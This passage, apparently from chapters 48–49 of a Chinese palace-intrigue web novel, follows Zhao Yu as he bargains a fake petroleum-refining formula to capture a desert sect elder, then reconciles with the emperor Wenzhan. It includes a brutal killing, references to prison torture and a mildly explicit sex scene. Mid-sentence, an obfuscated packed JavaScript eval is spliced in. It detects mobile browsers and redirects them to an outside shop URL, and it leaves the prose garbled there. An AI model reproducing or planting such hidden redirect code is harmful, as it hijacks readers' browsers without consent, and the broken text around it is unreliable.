这里很干净,屋子正中摆放一张八仙桌,四把椅子之外,就是桌面上的茶具。那个小厮为他们倒了茶水,不是寻常的绿茶,红茶与乌龙茶,而是奶茶。其中的茶叶则是用砖茶熬煮而成,味道极重,却也别具风情。 “元先生请稍等。”小厮恭敬的说完,才退出。 薛宣平胃口大,他们从北城骑马过来,别人没事,他自己又渴又饿,直接拿起来奶茶就喝,“我好久没喝这东西了,别说,有些馋。当年在西北第一次喝的时候就感觉味道腥,也古怪,没想到喝顺口了到品出它的香浓了。” 赵毓眼睛一瞬不瞬的看着他。只见薛宣平喝了一杯 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那几只利箭直接钉死在八仙桌上,——黑木箭杆,白色的翎羽,箭尾还有朱红色的点漆! 薛宣平胖大的身躯似一个滚动的球,滚到门后。 此时,他抱着头瞄了那几只利箭,痛哭流涕道,——“缇骑!”薛宣平继续哭嚎,“娘的,直接把咱们卖给吃人不吐骨头的北镇抚司!” 缇骑,北镇抚司。 天子密探,财狼性情,手握利刃,上达天命。 不要说他们这样的兵痞草民,就算是王公显贵,朝中重臣,在这群财狼眼中都是一群可以随便砍杀的青菜窝瓜。 薛宣平拽过八仙桌,手执两个桌腿,直接挡在门口。 外面却安静了下来。 崔珩靴子中有短剑,他自己用了一把,抽出另外一把扔给赵毓,赵毓接住,又扔给了薛宣平。 赵毓,“我不会用。” 薛宣平拿着短剑比了比,“老赵,这玩意太短,一会儿你躲我身后。咱们今天就算活着出去,估计雍京城也待不下去了。等脱了身赶紧收拾点细软,跑路吧。我回宁州,你也别回冉庄了,那里离雍京也太近,你也回西北算了。天高皇帝远,北镇抚司是狼不是狗,未必追那么远。” 崔珩看了他一眼。 薛宣平,“你看我作甚?” 崔珩,“话真多。” 赵毓安慰薛宣平,“没事儿,来,把衣服脱了。” 薛宣平赶紧抓住领口,“你,你,你,你,做什么?” 赵毓,“想活命不?” 薛宣平连忙点头。 赵毓一把拉开他的手,直接扯开薛宣平的袍子。 此时,老薛胖大的肚皮暴|露在外,赵毓还摸了摸,嗯,挺凉爽的。 崔珩就瞥了一眼,有些不忍目睹的意味。 赵毓将薛宣平的里衣用他手中的短剑切下一块,绑在外面的人射|进来的箭上,再扔了出去。 这就算打了白旗,算是投降的意思。 外面树林中慢慢走出来一个人,暗色劲装,手中是绣春刀。 赵毓在门后向外看,惊异道,“梁十一?” 那人也是意外,“赵先生?” 这是缇骑的镇抚使梁十一第三次见到赵毓。 第一次,今年正月,当时他奉密旨去云中,问询尹明扬关于前延绥镇守将军何晋斩平民头颅冒领功劳的事情。当时,他们在太行山密道狭路相逢。彼时,赵毓手中是圣上的生辰玉佩。 第二次,一个月前,留园鲁辛家人被杀,他奉命调查此事是否与随侯世子有关。那时,他也见到了赵毓,他是留园的东家。那时暴雨,他却发现赵毓身上的熏香的气息与圣上相同。 第三次,就是眼前。他们得到密报,悍匪元承在此,他们过来捉拿,却不想在这里见到的人却是赵毓。 诡异的人。 梁十一抬手,止住了暗处的攻击,“打扰赵先生,梁某王命在身,有冒犯的地方,还请赵先生原谅一下。” 话是这样说,梁十一并没有放松警戒,他向前走了几步,就停住脚步。 赵毓则大方的搬开圆桌,撑开双手走了出来,“梁大人是不是在找一个叫做元承的人?” “……”梁十一看着赵毓,终于点头,“是。” “我就是。”赵毓又走了几步,“曾经的化名,起的没有水准,实在不好意思拿出来告诉别人。” 梁十一见他这样说,又走近,重新又戒备起来。 元承? 崔珩猛地打开门,就站在门框下。 刺目的阳光直接撒在他那张脸上,使得他的眉骨与鼻梁在脸上留下很重的阴影。 他那张如同江南烟雨图一般清丽的面孔显出阴沉来。 梁十一看见崔珩,不由睁大了眼睛,“侯,……” 赵毓,“那是我表哥。” 梁十一恍然大悟一般,他看着赵毓,眼神有些抖,“你,你就是,……” 赵毓点头,“我就是赵毓。” 48. 48 48 不等梁十一再说话,赵毓一把抓住他,“加茉在哪?” 陡然。 崔珩将手中的短剑投掷而出! 一声闷哼,巨大的槐树旁倒下一个一直监视着这里的小厮,胸口直插|着那把短剑。 崔珩走过去,弯腰将那把剑拔出。 此时那个人还活着,胸口被涌出的血浸染了,口中喷出一层血沫子。崔珩抬脚踩住那个人的胸骨,暗自用力,一根,两根,三根,……肋骨折断。 那人没有叫喊,薛宣平却叫了一声,继而看见崔珩瞥了他一眼,连忙闭嘴。 薛宣平连忙将自己身上的衣服围了围。 此时,崔珩才阴沉沉的问了脚下的人,“加茉呢?” 那个人疼的眼神都涣散了,嘴中似乎是无意识的叽里咕噜的说了句什么。崔珩与梁十一根本不懂,薛宣平大约只能听出是番语,而赵毓则听懂了。 崔珩看了赵毓一眼,赵毓只能点点头,随即,崔珩一脚踏碎了那个人的胸骨,小厮当场毙命。 薛宣平一直看着崔珩,他自己一直标榜自己彪悍无比,下手绝对不软,杀气十足,走到哪里都是人嫌鬼弃。但是,他遇到崔珩,他自己原先那点底气几乎都没了。崔珩这个人到底什么来路,那个缇骑好像称呼他是“侯,……”不知道他是姓侯,还是外号是侯。 这个家伙看着又是个斯斯文文的,下手狠绝,杀个人就真跟踩个蚂蚁一样,眼神都不带波动的,——这些都是什么人啊?! 众人看着赵毓,他则说,“那个人,就在这个院子里面。” 薛宣平连忙去走来时的小路,却发现树木相同,但是路径好像有些很大不同。 他们来的时候道路是平整的,铺着一层青砖,现在那条道路上铺着鹅卵石。这是,……迷津? 几声闷哼,梁十一发现自己六名手下已经被人射杀。 陡然。 利箭暴雨一般冲着院中四人射来! 此时,薛宣平倒是眼疾手快,他就地一滚,直接进屋。崔珩手也不慢,他从后面揪住赵毓也向屋中一扔,他自己随即躲入。最后梁十一才点足进屋,他与崔珩动手关门,外面的箭雨直接插|在门外,让门板成为一个扁平的刺猬! 薛宣平惊魂未定,“什么,……,什么人?” 赵毓,“悍匪!” 梁十一,“那不是元承吗?” 赵毓,“我是良民,你上当了!” 屋子里面干净,却也干净的没有任何可以倚仗的地方。赵毓再仔细看了看,他忽然房顶上吊着一个八宝琉璃灯。 “打下来!” 梁十一取出背后的铁弓,一个穿刺直接将这个琉璃灯刺落,华美的灯具破碎一地,水晶块摔的满地都是,有些水晶片后面还镀着水银层。 天花板上只剩下一个暗黑的洞。 这是一个用水晶片当成镜片,一片一片错开,将屋子中的景象依次传递,以此做成的暗窥之眼。 赵毓忽然提高了声音,用古高昌语说了一句,“洪丁许你什么条件,我再翻一倍!” 女子的笑声从空洞中传出,有些口音,不过却是大郑官话,“元承哥哥不愧是元承哥哥,真豪爽!我要石脂水的密炼方式!” 赵毓方才用了高昌语,就是想着如果加茉提出特别难以满足的条件,听懂这个条件的也只有赵毓一人,到时候想要怎么做,他自己可以权衡。加茉完全明白他的意思,她却用大郑官话将条件提出,就是逼着赵毓不得不当场做决定。 石脂水,沈括在《梦溪笔谈》中称石油。 这是西疆戈壁上挖出来的好东西,像是流动着的煤,也像是黑色的烈酒。只是,它从地下挖出来的时候并不可燃烧,需要秘炼。经过试炼的石脂水烧起来势不可挡,不到一切成灰烬誓不罢休。 这是大郑军队使用的禁物,民间挖掘、贩卖、运输和收藏等同谋逆,是死罪。 崔珩一直在东海造船,他们新造的战船上就安置着火炮,石脂水需要经过试炼才能铸炮,他们需要大量试炼过的石脂水,所以,经过他手中的,从西疆运到东海的石脂水要比在场的任何一个人都多。 石脂水的密炼就是大郑军队的命脉。 加茉这个要求代表着什么,在场的四个人都清楚的很。 赵毓不回答,却问,“怎么,洪丁许给你石脂水的密炼方式?” 那边不说话。 赵毓声音立刻缓和了下来,慢语悠然,就像是晚春沙漠上的红荆花,迎着风,轻轻摇曳着,听到的人脑皮有些酥麻。 “妹妹,何必呢。你们又没有大批的石脂水,如果你知道如果将它试炼成最纯粹的火油,最猛烈的炸|药,你会很麻烦的。我们有句俗话,匹夫无罪怀璧其罪,就是说,你清清白白一女子怀揣稀世珍宝,是要招来豺狼虎豹的。哥哥给你些别的,好不好?” 加茉,“须臾沙漠盛产石脂水,瓜州死亡之海盛产石脂水,高昌的木石塔也盛产石脂水。我的家乡到处都是石脂水,我们为什么不能用自己家乡产出的东西?” 赵毓忽然笑了,“没有不让你用。石脂水虽然可以做别的用法,但是如果你不怕呛人,放放,多烧几次还是可以直接烧起来的。可以用来照明,那不是挺好的吗?” 加茉冷笑,“哥哥的军队用石脂水来铸炮,而我们只配用石脂水来照明?” 赵毓没说话,他靠在墙上,从窗子向外看。 加茉则说,“哥哥,我是与你亲近才同你说话的。其实,我从哥哥你这里拿不到的东西,洪丁自然会给我。” 赵毓的眼睛就没闲着,他步子轻,一直在周围不断的走着,仔细瞧着,同时,嘴巴也没有闲着,“可是,妹妹同洪丁却有血海深仇啊!” 随即,叹息一声。 “妹妹的亲姐姐是洪丁虐杀的,你的亲哥哥被他阉割之后卖掉做伶人,这样的人怎么值得信任?今天他能让你把我卖给镇抚司,明天,他也能把妹妹卖给镇抚司。你知道镇抚司是个什么样子的地方吗?缇骑都是吃人不吐骨头的魔鬼,他们吃人就像吃螃蟹一样,用钳子敲碎了人的骨头,拿着一根一根的吸骨髓,直到最后将最后一滴血髓吸干。妹妹,你愿意最后得到这样一个下场吗?” 梁十一原本还拿着绣春刀严阵以待的护卫着赵毓,听他这么说,他急切的想要分辨什么,却被崔珩一把捂住嘴巴,手劲大的差点将他的下巴卸掉。 “不是,……,我,……”梁十一只能比划着嘴型。 崔珩,“嘘,……” 梁十一,“冤枉!我们镇抚司不做那样的事!” 赵毓,“嘘,……” 梁十一又张了张嘴。 薛宣平,“嘘,……” 梁十一,“……” 很久,加茉的声音才再次传过来,“哥哥,我只要石脂水的密炼方式。” 漫天要价,就地还钱。 赵毓,“可以,不过,你要告诉我洪丁的落脚点。” 加茉,“可以。” 赵毓在墙壁上摸到一块空板,他手指微微蹭了蹭,口中却不漏分毫,“给我纸笔,我来写。” 加茉,“好。” 赵毓,“妹妹,我是用大郑的文字写,还是写高昌文?” 加茉,“郑文。” 一刻钟后,一位穿着大郑文士装扮的老者,端着木盘过来。 放在桌面上。 赵毓发现里面墨已经研磨好。他右手拿起毛笔,像是鬼画符一般写了一句话,——世间空苦,诸行无常,是生灭法,生灭灭已,寂灭为乐。 那老者一直在看,此时方抬头,“元先生写的可是佛经?” 赵毓,“不,我写的是石脂水的密炼方式。” 老者冷笑,“既然如此,元先生写的文字为何与《涅槃经》中的语句相同?” 赵毓,“我佛慈悲,度天下苍生。所以,在我看来,天下之间万事万物都可以在佛经中找到影子。这位老先生,您只要熟读佛经,自然就明白了。” 老者,“元先生不会让我用佛经试炼石脂水吧。” 赵毓,“不,您会明白,您想要的不过一场虚妄!” 加茉的声音破空传来,——“元承!” 那位老者向赵毓一探手,而赵毓则向后骤然退去,梁十一与崔珩同时出手,一左一右,制住那位老者,薛宣平就地一滚,双手牢牢抱住老者的双腿。 “多谢妹妹,大长老我们带走了。” 与此同时,赵毓从腰间拿出折叠好的弩,扣动扳机,弩|弓张开双翼复位,同时一枚玄铁打造的箭破空而出,直接钉死在他方才摸到的那空板上! ——墙皮碎裂一地。 “加茉妹妹,告诉洪丁,好好待我的小舅子!” “尹徵要是出了任何意外,累死大长老,他准备接受神明最严厉的惩罚!死了直接下地狱,灵魂破散,与三途河对岸的家人再不相见!” 这间小屋的墙壁以及庭院同时开启一条小路,虽然依旧是绿荫覆盖,却与方才走进的小路一模一样。 …… 梁十一的人等在外面。 他们一出来,这些人就来增援,虽然,他们有些晚了,不过还算太晚。很多人连忙包抄了榭芝阁,究竟能抓到什么人,有个什么结果,赵毓他们并不关心。 崔珩不等梁十一说话,直接吩咐,“这个人你们带走,他很重要,千万不能出事,也不能让他死,以后有用。” “是。” 缇骑有人用麻核塞住老者的嘴巴,随后使用牛皮做的绳索很小心捆绑。 赵毓忽然笑着说,“别这么费力,只要不让他跑了,别让人救他。他这个人,死不了。” 老者用力挣了挣,赵毓让人将他口中麻核去掉。 老者嘶哑的声音,“你怎么知道是我?” 赵毓,“我不知道会捞住您这条大鱼啊。我原来只想着能套住加茉手下一个懂试炼石脂水的人。她不识我们郑人的方块字,如果这个秘方是她自己用,她一定会让我写高昌文,但是她让我写郑文,我就知道肯定不是她要用。至于您嘛,……,大长老,您鬼神莫测,时常神龙见首不见尾的,外人没见过您真人,可是,却不一定所有人都不认识您。” 老者被带走。 梁十一临走之前,终于说了一句,“赵先生,我们缇骑不吃人!” 赵毓,“……” 薛宣平大蒲扇一样的手扇着风,“老赵,看样子我还可以继续在雍京城住下去。缇骑人还成,也不是妖魔豺狼嘛!你威胁洪丁的那几句话成吗?人都死了,骨头都成灰了,那肯定是见不到了,他能信才活见鬼。” 赵毓,“你懂个屁!人家洪丁是信奉神明人,跟咱们这种凡夫俗子不一样。” 薛宣平,“这也行?呃,不管了,我得走了。今天这回惊险,太惊险,我都不知道雍京城还有这种地方。我的小心肝儿啊,~~~~~~我得找花娘喝酒去。你自便啊!” 说完,他甩动着胖大的身躯,疾步溜走,不一会儿,消失在熙熙攘攘的长街尽头。 崔珩见暂时无事,向回走,赵毓跟在他身后。 “你跟着我做什么?” “我给你写几味草药,你这几天在家什么都别做,好好养养,把身上的烟毒除了。这玩意儿不是小事,要真上了瘾,别说继续做你的王侯,就算是人,你都快做不得了。” 赵毓从宁淮侯府出来到寿春宫的时候已经快初更了。 赵格非早就睡了,就在偏殿里面,周围很安宁。 赵毓拎着灯从外面的帷幕向里面照了照,也照不出什么。 “睡了,今天陪着我玩了一天。”太贵妃说,“她比你知道心疼人。” 赵毓,“这不挺好?亲娘啊,您还想着把闺女往皇上跟前凑合,您说您自己,这想的都是什么破事?” 太贵妃跟着他出来,“你怎么着?回去吗?” 赵毓看了看天,“这么晚了,我今天折腾了一天,累散架了,先找地睡觉去。我去鹧鸪殿。” 太贵妃忽然火气上来了,“你爱找谁找谁去,别让我知道。” 赵毓,“好端端的发什么火?您看!”说着,用灯照了照他娘的脸,“又长了一条皱纹!” “滚!” 于是,赵毓出寿春宫的时候,他娘的一只鞋拔子正好揍到他屁股上,他疼的蹦了蹦。 …… 赵毓以为文湛早睡了,没想到鹧鸪殿还点着灯。枞菖接过他手中的灯,将他引上来。文湛正在看书。 大殿内异样的安静。 气氛不太好。 “咦,你还没睡?” 赵毓快饿晕了,他看见桌面上有点心,就径自坐下,从文湛面前拿过他喝了一半的茶水,就着开始吃点心。 他吞点心的间期,说了一句,“看,还得是我来找你。” 也许是饿的久了,赵毓只吃两块,感觉嗓子有顶,于是,他只是将茶水喝完,擦了擦嘴巴。 文湛一直看着他,不说话。 赵毓看着他,想着他们之间的争执好像从昨天晚上开始的,那个时候老崔在他那里,于是他挑起来话头,“老崔他……” 文湛,“我不想听。” 赵毓,“……”他抓了抓头发,今天折腾了一天,头发都痒痒的。 文湛,“你的额头是怎么回事?” 赵毓脑袋上的白布条扯了下去,他摸了摸自己的额头,“我去见了我娘。当时有急事,我怕她又让我跪三个时辰,索性直接磕破了,她一见我这样就开了宫门。现在没什么了,就是有些红肿,明天一早也就好了。” 文湛的手指在赵毓的额头上轻轻抚了抚,凉丝丝的。 他让黄枞菖拿过药膏,为赵毓轻轻上了些,赵毓感觉晶莹剔透的药膏也是凉丝丝的。 “说起来我娘,有件事需要同你商量一下。”赵毓又抓了抓头发,“先帝临终有密旨,只要我娘愿意,可以去除她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728906|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的贵妃称号,死后不用进皇陵。我想着,要是她愿意出宫,就帮她在外面买个宅子,看看她的样子,是愿意住在雍京城,还是回到冉庄,我,……” 文湛,“不行。” 赵毓,“可是,先帝的密旨,……” 文湛,“不行。” …… 承怡否定了他自己之前的一切。他不再是先帝的长子,也不再是祈王承怡,他甚至连他们之间的感情否定了。 那天,他同崔珩讲的话,自己全部听到了。 原来,对他来说,他与自己的这份感情的起源竟然如此的丑陋,全部是自己无耻逼迫。 如果再没有他们之前十九年的相处,他们只是陌生人。 崔太贵妃如果在宫中,文湛知道,承怡走再远都会有回来的一天。如果有一天,崔太贵妃不在了,……也许,承怡的离开,就会是永久。 赵毓看了看文湛,没有强辩。 这件事的确难办。 他娘本来就是先帝昭告天下册封的贵妃。 即使她与先帝没有夫妻之实,可是她的确是先帝的遗孀。 大郑礼法森严。 文湛是继任皇帝,按照常理说,他只要表面上善待先帝遗孀,吃喝给足,然后等待太贵妃一咽气就往先帝皇陵旁边挖个大坑,埋了就算了。 仁孝两全。 如果由文湛废除崔太贵妃的封号,别管有没有什么先帝密旨,朝野上那些喜欢用“存天理灭人欲”,“大郑以孝治天下”,“敬天法祖”这些东西压制人的鸟官们就会如同鬣狗看见腐肉一般,一哄而上! 弹劾谏言的折子比不要钱的还猖狂,没准真能把微音殿的台案给淹了。 他们终于可以找到理由劝谏一下皇帝了,没准还能在柱子上撞上一撞,留个“不畏皇权,拼死直谏”美名字,这简直是祖宗坟头冒青烟! 算了。 走一步算一步,这事情本来就不是一蹴而就的。 赵毓感觉自己头发痒的实在厉害,他抓着头发站起来,想着从鹧鸪殿下去到前面泡温泉,好好洗个澡,把一身的晦气洗干净。 而文湛则只见他不再说话,径自离开。 他没阻拦,因为他拦不住。 他不知道自己应该做些什么。 也许他应该接受承怡终将远去,就像他曾经被迫接受的那样。分开的那十年光阴应该才是真正的命运,而他们相聚的这两年不过是幻象。 不知道过了多久,也许过了很久很久,也许仅仅是一根蜡烛烧尽。 赵毓穿着木屐从外面走进来,黄枞菖给他提灯。 他一边走还一边对黄枞菖说,“那个装神弄鬼的大长老就在梁十一他们那里,用他节制洪丁,正好可以保证尹徵的安全。我说,黄瓜啊,你不是跟缇骑他们熟吗?你没事儿的时候盯着一些,别让他们把人弄死了,弄残废了也不成。但是,在现在这个情形下,还得多问问话。你们会不会一些比较柔和的手段,别上来就动刑,显得特别不像司礼监调|教出来的读书人。你让他们也学学斯文手段,别整天跟杀猪的屠夫似的,粗,特粗。” 赵毓的头发裹着一块布巾,滴的水把衣服也沾染了。 “你,……”文湛忽然站起来。 “咦?你怎么还坐着?不困吗?” 赵毓扯下头发上的布巾,黄枞菖给他换了一个干净的,又用力给他擦了擦头发,弄了好一会儿,才弄的半干。 鹧鸪殿毗邻太液池,地方又大又空旷,夜里凉风习习,带着太液池的水汽,居然有些寒意。 文湛的衣袍很规整,穿了里外两套。 赵毓把自己收拾利索了,过来扯文湛的外袍,文湛一把按住他的手,“你干什么?” “睡觉啊。” “你这么做了,你娘也出不了宫。” 赵毓有些莫名其妙,“你刚才不是说了吗,我知道呀。” 文湛不说话,就是看着他。 赵毓忽然意识到什么,“我们两个是不是想岔路了?” 文湛,“你不是一言不合要离开吗?” 赵毓,“我没有啊。”随后,他尝试着仔细解释,“我又不是你肚子里面的虫子,我们两个就算再怎么亲密,肯定有争执与一言不合的时候,这难道不是同吃饭一样普通吗?到了晚上应该睡觉,有什么事情明天再说呀。呃,……” 随即,赵毓又有一种不好的预感。 文湛这个人吧,虽然他自己总说自己比宰相还要宽宏大量,肚子中有整个运河码头,可是有些时候他就是法言量窄,自己还不认。 赵毓狐疑的看着他,“你不会同我闹别扭,不让我睡这里吧。” 话说出来,不知道怎么了,赵毓越想越有这个可能。 他后退一步,看了看外面的天色。 快三更了。 “呃,还是贫贱夫妻好,人家虽然穷苦一些,可是家中房子小,就一个屋子一张炕,有什么事也分不了床。白天就算有再大的争执,晚上一床被子盖了就算了。你这里倒好,大正宫别的不多,就是空房子多。你要是不让我睡这里,我还真有地方睡。哎,这时辰出宫回家太晚了,要不,我去我娘寿春宫挤一晚上?……” 赵毓话音还没落,身体一轻,被文湛一把抱起来,轻轻放在床上。 文湛自己褪下衣袍,也躺好。 他同赵毓就盖着同一床被子。 黄枞菖见这样,连忙放下帷帐,吹熄了外面的蜡烛,鹧鸪殿登时暗了下来,只余天上的弦月,还有横贯天际的星河。 现在很静谧,不像方才那种压抑着的静寂。 “其实,……”赵毓轻轻说,“我想让我娘出宫散散心。我总觉得她一个人在这里把脑子憋坏了。你看看,她想的都是什么事?一定要把格非弄进你的后宫,害的你堂堂帝王对一个小丫头躲躲藏藏的,我都没脸说这些。我娘就是个村妇,在后宫熬这么多年,也是为了我能活下来,说实话也挺不容易的,……哎。” 帐内无人说话。 “你睡了?” 良久,赵毓听见文湛的声音。 “对不起,当年的事,……” 赵毓翻身,他手肘撑着下巴,看着文湛。 “母后把储妃的婚期定了,……” 赵毓忽然凑过去,亲了文湛的嘴角一下。 “你不见我,……” 文湛的嘴角又被亲了一下。 “当时点的白合欢的药香只是想让你舒服一些,我什么都不懂,……” 赵毓又亲了他一下。 “没想到药性那么重,伤你伤的那么重,我,……” 赵毓直接堵住了文湛的嘴唇细细的吻了起来。 随后,文湛翻身将他压住,开始一点一点在他身上撒火种,直到烈焰将赵毓吞噬。 重重的狠入。 原本清凉的鹧鸪殿骤然之间变得温暖,随即也如同被卷入焰火中。 彻底燃烧了起来。 49. 49 49 清晨,赵毓感觉到文湛伏在他身上,动作炽热,好半天,这才平静下来。 赵毓搂住他的后背,忽然问了一句,“你喜欢什么?” 文湛眼中的火渐渐熄掉,只听见赵毓似乎说了一句话,却没有听明白,“什么?” 赵毓看着他,“这两年我教你的都是我喜欢的,你喜欢什么,告诉我,我帮你做。” 文湛用手臂支撑,微微抬高了身体,赵毓的脸颊就在他的手心中,他的手指沿着赵毓的脸颊轻轻滑动着,最后,停留在那颗泪痣上。 他刮了刮。他记得小的时候,承怡眼角的泪痣是黑色的,现在已经变成了红色,秀艳红润。 赵毓笑着,“擦不掉的,这东西说是泪痣,其实只是颗痣而已,长在脸上和长在脚底板是一样的。那些什么关于长泪痣命不长、命不好的谣言都是假的。” 文湛很轻微的点了点头,像是相信了他的话。 赵毓又问了一遍,“要不,我们下次再试试侍寝的花招,总不能让你空担着后宫佳丽三千的虚名,连一次后宫侍寝都没有享受到。” 文湛,“谁说我后宫三千?” 赵毓只是笑,“皇帝嘛,……,老百姓都这么说。” 文湛,“他们还编排我什么?” 赵毓,“我还听过有人说,皇帝都用黄金做的斧子砍柴,用黄金做的盘子吃白面馍,出恭都是黄金做的马桶,皇后娘娘吃的烙饼只加大块五花肉,对葱花鸡蛋都不屑一顾。哦,对了,后面说的应该是你娘,本朝没有皇后。” “有的。”文湛的手指在赵毓的后颈处轻轻抚摸着,“我不喜欢什么花样,有你就好。” 赵毓感觉有些舒服,困劲上来了,于是他用脸颊在文湛的手心蹭了蹭,慢慢闭上眼睛,“真是容易满足的家伙。” 容易满足吗? 文湛起身,洗漱完毕,身上换上常服去微音殿。 柳丛容将一摞折子搬过来。 文湛拿起来一份打开,扫了一眼就是笑,第二份依旧这样,第三份,第四份,……,一共七十六份奏折,语言或者是直白的,或者是隐晦的,讲的都是一件事: ——随侯在绮镇兼并土地,他的佃户的地租是常人的两倍,虽然不至于天怒人怨,民不聊生,可是依旧民怨沸腾。 今日楚蔷生在微音殿,文湛只问他,“这些青天老爷们,想要朕怎么做?” 楚蔷生,“自然是判定绮镇的土地为逆产,正好以朝廷的名义收回。” 文湛,“然后呢?” 楚蔷生没说话。 文湛,“进而,背着朝廷进行分割。” 楚蔷生,“是。” 文湛,“随侯刚刚抵达雍京,他的事情三法司还没有定论吧,这些大人们有些心急。他们是真的想要对随侯石家落井下石,还是,想要上折子刺探朕的心思?” 楚蔷生,“应该是两样心思都有。” 文湛只是笑。 楚蔷生发现,最近皇帝有些爱笑。 其实那十年,皇帝也笑。他对待重臣从来不失礼,也不失法度,很多时候他都笑,笑的让人如沐春风。外人看不出来这些,楚蔷生自己能看,那种笑其实不带任何温度,只是变幻出温暖的外壳,就像岐山外的镐水一样,本身是流淌的,却可以随着地势的改变,变幻成任何形状。 那些年,他几乎消弭了喜怒哀乐。 现在不一样了,皇帝的笑带着情绪,即使现在是冷笑,像寒冬岐山的冰峰。 楚蔷生,“留中不发?” 文湛,“申饬。” 楚蔷生,“是。” 文湛,“楚先生你来写。只说他们污蔑国之重臣,其心可诛。” 楚蔷生有些犹豫,不过还是说直,“这些申饬的朱批,也许会使一些人倒向随侯那边。臣听说随侯与世子目前用大量银子行|贿雍京城内多位官员。如果有人抵挡不住银钱的诱惑,收|受|贿|赂,再加上内阁申饬弹劾随侯的奏折,恐怕影响三法司对随侯的量刑。” 文湛,“三法司一天不定案,随侯就是大郑的重臣。至于别的,谁收了钱,谁说了话,谁自以为看出申饬背后的文章,谁影响了三法司的审理。这些人,天知地知,他们自己知,楚相知,朕也知。天网恢恢疏而不漏,终究有雨过天青的一天。” 赵毓睡了回笼觉,他起来泡了澡,刚收拾完,文湛已经从微音殿回来了。他看见文湛坐在软塌上,面前摆放着一个黑檀木的榻桌。赵毓过去,上了软塌,从背后揽住文湛的肩,下巴抵在他的肩膀上,向前微微探头。 “在做什么?” 文湛手指拿了一把刻刀,正在打磨一个羊脂玉的束发玉扣。 “这是什么?” 怕他雕刻到自己的手,赵毓坐到一旁,安静的看着他。 这枚束发玉扣似乎已经雕刻了很久,上面的花纹细致绵密,一丝一毫都显示着时间的沉淀。 红莲。 只有红莲才会开出妖娆的花瓣,如同精怪伸展出它蔓藤一般的枝叶。 似乎,禁宫中的人都喜欢红莲。 那也是时间的沉淀,二十几代人,数百年的光阴,将第一个喜爱红莲的人沉淀成一个模糊的神话。 这片太液池的红莲是六百年前和苏太子最爱。 在大郑史册上,和苏太子就一行字:弘道纯仁至孝太子讳和苏,帝弥江嫡长子也,弥江元年生,母嫡后离氏。二十三年腊月,帝崩,禅帝位于皇五子翊宣,承袭岐山神宫祭司之位。帝翊宣二十二年闰七月,薨。 赵毓一直觉得和苏太子不像传说中那么虚幻。他认为和苏这位传奇其实和先帝一样,尘世之间的富贵繁华都享受够了,每天做梦都想着修真成仙。 但是说来也真奇诡,大郑开国三百年之前的那些皇族好像都是神棍,随便拎出来一个人在修仙这方面就有些修为,有的还会占卜阴阳,摆阵抓鬼。 可是大郑开国六百年后,一切都变了。皇族逐渐成为常人,既不是神仙,也不是恶鬼,而是有喜怒哀乐,七情六欲的平常人。 这么多年,什么都变了,只有红莲留在太液池中。 赵毓,“你刻了好久吧。” 文湛点头,“你被人抽碎了束发的玉扣,我想给你亲手雕一个,没想到这么多年才拿出来。” 赵毓仔细想了想,这次终于有点印象了,“我记得!桓侯姜家的小侯爷!那一次下大雨,这位小侯爷在茶馆赶人,我没走,他依仗着是你正儿八经的小舅子直接动了手,珊瑚鞭就把我的玉扣抽碎了,后背也给来了一下,那道鞭伤现在还没褪,还有印子。不过,这位小侯爷也是命苦,被他爹给连累了。” 桓侯姜家是太子灵均的外祖家。 当年文湛登基,皇长子出生,姜家的风头一时无二。 虽然从来没有旨意要册封姜氏为皇后,皇长子为太子,但是桓侯觉得文湛太过年轻,这大郑的朝堂似乎已经是姜氏一族的天下了。 皇帝的纵容,姜家的膨胀,让他们根本看不清楚自己,看不清楚朝局,也从来没有安静下来想一想,他们是否曾经看清楚过皇帝。 兼并土地,卖官鬻爵,打死佃户,甚至强占有功名在身的举人之女。 文湛用姜家做刀,铲除了朝堂上所有逆者,随后,在桓侯姜家官怨沸反盈天的时候,他令桓侯在家闭门思过,姜家的虚妄一朝被戳破,却激出了更大的空梦,他们妄图废掉文湛,拥立皇长子灵均为帝,桓侯摄政。不过十日,崔珩领军将桓侯斩于镐水西岸,连同他的嫡子,也就是抽碎赵毓玉扣的小侯爷一并埋骨镐水西岸。谋逆大罪,首犯凌迟,当诛九族。后来皇帝看在皇长子的情分上,姜氏男子斩首,女子流放,皇长子生母幽禁后宫,从者均不株连。 崔珩在那一役,立下平叛大功,一战封侯。 文湛冷淡的像块石头,“我哪里有什么小舅子?如果硬要算外戚,不就是朝堂站着的那位崔姓三等候?” 文湛放下刻刀,在玉扣上系上黑色丝线与金丝纠葛打成的流苏络子。 赵毓不再是亲王,也不用穿朝服,他的头发总是束起一半,另外一半随意披着,有的时候显得颓废,而更多的时候,其实显得很怡然。 文湛帮赵毓把头发拢了拢,用犀角梳为他束发,最后扣上这个玉扣。 大长老在诏狱。 梁十一拿出缇骑问询的看家本事,折腾了三天三夜,最后,只能得到这位老者一句话,——“我要见元承。” 元承或者说赵毓,就坐在大长老面前。 熬过缇骑那些看不见伤痕的酷刑,三天没有休眠,此时的大长老居然还是一副沉静的样子,像极了敦煌沙漠中那些久远的雕像。 大长老忽然开口,声音像是粗粝的沙子,“你认识我?” 赵毓,“大长老拉摩提,名震西疆十六国的大智者,众神的仆人,信众众多。虽然您一直深居简出,但是想要不认识您,也不是一件容易的事情。”随后,他笑了一下,才说,“没想到大长老还是同洪丁联手了。浑·撒怜丁这个人脑子不太对。年初的时候,他在冉庄找我麻烦,为了这件小事,他把自己的妻女都杀了。大长老您是体面人,不要为了一些空口无凭的许诺就深陷泥潭。” 大长老说话,面无表情,“那对母女不是洪丁的妻女。” 赵毓眼睛中出现了意外,“不是吗?我们在什叶镇找到了那名女子与洪丁的婚贴,也找到了为洪朵儿接生的稳婆。以我浅薄的见识,她们就是洪丁的妻子女儿。” 大长老,“按照你们郑人的说法,高昌女子无法为妻为妾,只能为奴,比牲口还贱,生下的孩子就是杂种,那么在洪丁看来,那对郑人母女也是如此。撒怜丁的妻子儿女在十几年前都死了,他没有妻女。” 赵毓轻轻垂下眼睑,挡住他的眼神。 